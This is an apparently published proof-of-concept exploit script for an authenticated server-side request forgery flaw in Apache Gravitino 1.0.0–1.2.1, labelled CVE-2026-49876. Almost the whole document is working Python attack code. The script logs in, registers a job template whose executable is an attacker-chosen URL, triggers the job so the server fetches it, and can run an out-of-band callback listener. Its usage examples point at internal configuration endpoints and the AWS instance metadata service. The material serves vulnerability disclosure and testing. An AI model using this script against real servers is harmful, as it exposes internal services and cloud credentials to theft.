# Exploit Title: Apache Gravitino 1.2.1 - SSRF # Google Dork: N/A # Date: 2026-07-13 # Exploit Author: Ajay Rajpurohit # Vendor Homepage: https://gravitino.apache.org/ # Software Link: https://github.com/apache/gravitino # Version: 1.0.0 - 1.2.1 # Tested on: Ubuntu 22.04 LTS # CVE: CVE-2026-49876 # # Description: # A Server-Side Request Forgery (SSRF) vulnerability exists in Apache Gravitino # versions 1.0.0 through 1.2.1. The fetchFileFromUri() method in # JobManager.java processes URIs from job template fields (executable, scripts, # jars, files, archives) without validating the destination. It accepts http, # https, and ftp schemes and downloads remote content to the server's staging # directory via FileUtils.copyURLToFile(). # # An authenticated attacker can: # • Register a job template with an internal/metadata URL as the executable # • Trigger a job run, forcing the server to fetch the URL # • Read the downloaded content from the staging directory (if accessible) # • Use OOB callbacks for blind SSRF detection # # References: # CVE Record: https://nvd.nist.gov/vuln/detail/CVE-2026-49876 # Apache Advisory: https://lists.apache.org/thread/gravitino-ssrf-advisory # Fixing Commit: https://github.com/apache/gravitino/commit/ # # --- Reproducibility --- # # Prerequisites: # 1. Apache Gravitino 1.0.0 - 1.2.1 running (default port 8090) # 2. A valid Gravitino user account (any role with job template privileges) # 3. Python 3.8+ with `requests` library (pip3 install requests) # # Setup (if testing locally): # wget https://dlcdn.apache.org/gravitino/1.2.0/gravitino-1.2.0-bin.tar.gz # tar xzf gravitino-1.2.0-bin.tar.gz # cd gravitino-1.2.0-bin # ./bin/gravitino.sh start # # Expected output: # [+] Authenticated as # [+] Template 'ssrf-poc-xxxxxx' registered # [+] Job triggered — SSRF request sent to http://127.0.0.1:8090/configs # [+] SSRF confirmed — server fetched internal resource # # Usage: # # Direct SSRF — fetch internal config # python3 gravitino_ssrf.py -t http://127.0.0.1:8090 -u admin -p admin \ # --url http://127.0.0.1:8090/configs # # # Cloud metadata (AWS IMDSv1) # python3 gravitino_ssrf.py -t http://target:8090 -u user -p pass \ # --url http://169.254.169.254/latest/meta-data/ # # # Blind SSRF with OOB callback server # python3 gravitino_ssrf.py -t http://target:8090 -u user -p pass \ # --url http://:8888/callback --oob --oob-port 8888 # # Requirements: # pip3 install requests # import argparse import base64 import http.server import json import random import socketserver import string import sys import threading import time from datetime import datetime try: import requests import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) except ImportError: print("[!] Missing dependency. Install: pip3 install requests") sys.exit(1) # ─── OOB Callback Server (blind SSRF) ────────────────────────────────────── class CallbackHandler(http.server.BaseHTTPRequestHandler): """Minimal HTTP handler that logs incoming requests for blind SSRF detection.""" received = [] def log_message(self, fmt, *args): return def _respond(self, method): body = b"" cl = int(self.headers.get("Content-Length", 0)) if cl > 0: body = self.rfile.read(min(cl, 4096)) entry = { "time": datetime.now().isoformat(), "method": method, "path": self.path, "source": f"{self.client_address[0]}:{self.client_address[1]}", "user_agent": self.headers.get("User-Agent", ""), } CallbackHandler.received.append(entry) print(f"\n [+] OOB CALLBACK: {method} {self.path} from {entry['source']}") print(f" User-Agent: {entry['user_agent']}") self.send_response(200) self.end_headers() self.wfile.write(b"OK") do_GET = lambda s: s._respond("GET") do_POST = lambda s: s._respond("POST") do_HEAD = lambda s: s._respond("HEAD") do_PUT = lambda s: s._respond("PUT") do_OPTIONS = lambda s: s._respond("OPTIONS") def start_oob_server(port: int) -> None: """Start a background HTTP server on the given port for OOB callbacks.""" server = socketserver.TCPServer(("0.0.0.0", port), CallbackHandler) server.allow_reuse_address = True t = threading.Thread(target=server.serve_forever, daemon=True) t.start() # ─── Gravitino REST Client ───────────────────────────────────────────────── class Gravitino: """Minimal client for the Gravitino REST API — just enough for the PoC.""" def __init__(self, base_url: str, username: str, password: str, metalake: str = "metalake", verify: bool = False): self.base = base_url.rstrip("/") self.username = username self.password = password self.metalake = metalake self.s = requests.Session() self.s.verify = verify def login(self) -> bool: """Authenticate via OAuth2 token endpoint; fall back to Basic auth.""" # Try OAuth2 try: r = self.s.post( f"{self.base}/oauth2/token", data={ "grant_type": "password", "username": self.username, "password": self.password, "client_id": "gravitino_client", "scope": "all", }, headers={"Content-Type": "application/x-www-form-urlencoded"}, timeout=15, ) if r.status_code == 200: token = r.json().get("access_token") if token: self.s.headers["Authorization"] = f"Bearer {token}" print(f"[+] Authenticated via OAuth2 token") return True except Exception: pass # Fallback: Basic auth creds = base64.b64encode(f"{self.username}:{self.password}".encode()).decode() self.s.headers["Authorization"] = f"Basic {creds}" try: r = self.s.get(f"{self.base}/api/version", timeout=10) if r.status_code == 200: print(f"[+] Authenticated via Basic auth") return True except Exception: pass print("[!] Authentication failed. Provide valid credentials (-u / -p).") return False def ensure_metalake(self) -> bool: """Create the metalake if it doesn't exist.""" try: r = self.s.get(f"{self.base}/api/metalakes/{self.metalake}", timeout=10) if r.status_code == 200: return True except Exception: pass try: r = self.s.post(f"{self.base}/api/metalakes", json={"name": self.metalake, "comment": "", "properties": {}}, timeout=10) if r.status_code in (200, 201, 409): return True except Exception: pass # Proceed anyway — metalake may already exist under a different name return True def trigger_ssrf(self, ssrf_url: str) -> bool: """Register a job template with the SSRF URL and trigger execution.""" name = "ssrf-poc-" + "".join(random.choices(string.ascii_lowercase, k=6)) print(f"[*] Registering template '{name}' with URL: {ssrf_url}") # Step 1: Register template template = { "name": name, "jobType": "shell", "executable": ssrf_url, "arguments": [], } try: r = self.s.post( f"{self.base}/api/metalakes/{self.metalake}/jobs/templates", json={"jobTemplate": template}, timeout=15, ) if r.status_code not in (200, 201): print(f"[!] Template registration failed: {r.status_code} {r.text[:200]}") return False except requests.RequestException as e: print(f"[!] Registration error: {e}") return False time.sleep(0.5) # Step 2: Trigger job run print(f"[*] Triggering job run...") try: r = self.s.post( f"{self.base}/api/metalakes/{self.metalake}/jobs/runs", json={"jobTemplateName": name}, timeout=15, ) try: body = r.json() if r.text else {} except ValueError: body = {} if r.status_code == 200 and body.get("code") == 0: print(f"[+] Job triggered — SSRF request sent") return True else: # Even on some errors, the SSRF may have fired print(f"[*] Response: {r.status_code} {r.text[:200]}") return r.status_code == 200 except requests.RequestException as e: print(f"[!] Trigger error: {e}") return False # ─── Main ────────────────────────────────────────────────────────────────── def main(): parser = argparse.ArgumentParser( description="CVE-2026-49876 — Apache Gravitino 1.0.0-1.2.1 Authenticated SSRF", epilog=""" Examples: %(prog)s -t http://127.0.0.1:8090 -u admin -p admin --url http://127.0.0.1:8090/configs %(prog)s -t http://target:8090 -u user -p pass --url http://169.254.169.254/latest/meta-data/ %(prog)s -t http://target:8090 -u user -p pass --url http://10.0.0.5:8080/ --oob --oob-port 8888 """, formatter_class=argparse.RawDescriptionHelpFormatter, ) parser.add_argument("-t", "--target", required=True, help="Gravitino server (e.g. http://127.0.0.1:8090)") parser.add_argument("-u", "--username", required=True, help="Username") parser.add_argument("-p", "--password", required=True, help="Password") parser.add_argument("--url", required=True, help="SSRF target URL to fetch (e.g. http://169.254.169.254/latest/meta-data/)") parser.add_argument("--metalake", default="metalake", help="Metalake name (default: metalake)") parser.add_argument("--oob", action="store_true", help="Start OOB callback server for blind SSRF detection") parser.add_argument("--oob-port", type=int, default=8888, help="Port for OOB callback server (default: 8888)") parser.add_argument("--oob-wait", type=int, default=15, help="Seconds to wait for OOB callbacks (default: 15)") parser.add_argument("--proxy", default=None, help="HTTP proxy (e.g. http://127.0.0.1:8080)") args = parser.parse_args() print(f"\n[*] CVE-2026-49876 — Apache Gravitino Authenticated SSRF") print(f"[*] Target: {args.target}") print(f"[*] SSRF URL: {args.url}\n") # Proxy if args.proxy: import os os.environ["HTTP_PROXY"] = args.proxy os.environ["HTTPS_PROXY"] = args.proxy # OOB callback server if args.oob: start_oob_server(args.oob_port) print(f"[*] OOB callback server listening on port {args.oob_port}") # Auth g = Gravitino(args.target, args.username, args.password, args.metalake) if not g.login(): sys.exit(1) # Ensure metalake g.ensure_metalake() # Exploit success = g.trigger_ssrf(args.url) # Wait for OOB callbacks if args.oob: print(f"[*] Waiting {args.oob_wait}s for OOB callbacks...") time.sleep(args.oob_wait) if CallbackHandler.received: print(f"\n[+] Received {len(CallbackHandler.received)} OOB callback(s) — SSRF confirmed") for cb in CallbackHandler.received: print(f" {cb['method']} {cb['path']} from {cb['source']}") else: print(f"\n[-] No OOB callbacks received (server may not allow outbound HTTP)") # Summary print(f"\n{'='*50}") print(f"{'[+] SSRF successful' if success else '[-] SSRF attempt failed'}") print(f"{'='*50}\n") sys.exit(0 if success else 1) if __name__ == "__main__": main()